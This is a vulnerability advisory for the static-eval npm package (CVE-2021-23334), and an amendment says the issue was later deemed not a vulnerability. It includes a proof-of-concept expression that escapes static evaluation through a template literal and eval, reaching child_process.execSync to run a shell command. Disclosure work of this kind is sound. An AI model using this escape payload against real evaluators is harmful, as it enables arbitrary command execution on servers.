Arbitrary Code Execution

Affecting static-eval package, versions <0.0.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Amendment

This was deemed not a vulnerability.

Overview

static-eval is an evaluates statically-analyzable expressions.

Affected versions of this package are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals.

PoC:

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src="(function (x) { return `${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")}` })()"
var ast = parse(src).body[0].expression;
evaluate(ast)

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
Credit
Oscar Arnflo
CVE
CVE-2021-23334
CWE
CWE-94
Snyk ID
SNYK-JS-STATICEVAL-1056765
Disclosed
08 Jan, 2021
Published
11 Feb, 2021